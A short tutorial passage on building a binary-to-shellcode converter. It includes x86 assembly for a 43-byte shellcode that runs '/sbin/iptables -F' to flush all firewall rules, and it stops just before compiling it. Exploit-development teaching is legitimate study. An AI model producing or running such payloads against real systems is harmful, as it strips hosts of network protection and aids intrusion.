Now we will talk about converting binary to shellcode using binary2shellcode
1- Compile & Run
To build binary2shellcode
cd /Debug
sudo make
The program will be installed in /usr/bin/ and the app name bin2shell To test just run it /usr/bin/bin2shell and it should be like this
2- Use Binary2Shellcode
We have here assembly code to flush iptables iptables -F with 43 bytes size
xor %eax,%eax push %eax pushw $0x462d movl %esp,%esi pushl %eax pushl $0x73656c62 pushl $0x61747069 pushl $0x2f6e6962 pushl $0x732f2f2f mov %esp,%ebx pushl %eax pushl %esi pushl %ebx movl %esp,%ecx mov %eax,%edx mov $0xb,%al int $0x80 Let’s compile and link and then try to run it